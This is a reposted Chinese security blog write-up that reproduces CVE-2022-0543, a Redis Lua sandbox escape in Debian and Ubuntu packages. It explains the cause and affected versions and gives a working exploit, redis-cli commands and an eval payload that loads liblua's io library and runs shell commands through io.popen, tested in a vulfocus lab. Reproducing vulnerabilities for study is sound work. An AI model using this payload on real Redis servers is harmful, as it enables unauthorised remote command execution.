Redis Lua 沙盒逃逸 RCE(CVE-2022-0543)复现

admin 2025年2月24日12:56:50评论38 views字数 850阅读2分50秒阅读模式

漏洞说明

Debian 以及 Ubuntu 发行版的源在打包 Redis 时,不慎在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。值得注意的是,不同环境下的liblua库路径不同,需要指定一个正确的路径。

漏洞影响范围

Debian、Ubuntu或其他基于Debian的Linux发行版系统上运行的Redis服务。

安全版本:

Debian Redis5:5.0.14-1+deb10u25:6.0.16-1+deb11u25:6.0.16-2Ubuntu Redis5:6.0.15-1ubuntu0.15:5.0.7-2ubuntu0.1

漏洞复现

使用vulfocus平台http://vulfocus.fofa.so/

运行CVE-2022-0543漏洞环境进行复现

Redis Lua 沙盒逃逸 RCE(CVE-2022-0543)复现

要利用此漏洞,攻击者需具有执行 eval 命令的权限(攻击者经过认证、或者 Redis 本身未设置鉴权检查)未授权访问或拿到账号密码
redis-cli -h 192.168.175.140 -p portredis-cli -h host -p port -a passwordeval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

Redis Lua 沙盒逃逸 RCE(CVE-2022-0543)复现

成功执行命令

原文始发于微信公众号(渗透笔记):Redis Lua 沙盒逃逸 RCE(CVE-2022-0543)复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月24日12:56:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis Lua 沙盒逃逸 RCE(CVE-2022-0543)复现http://cn-sec.com/archives/2497105.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息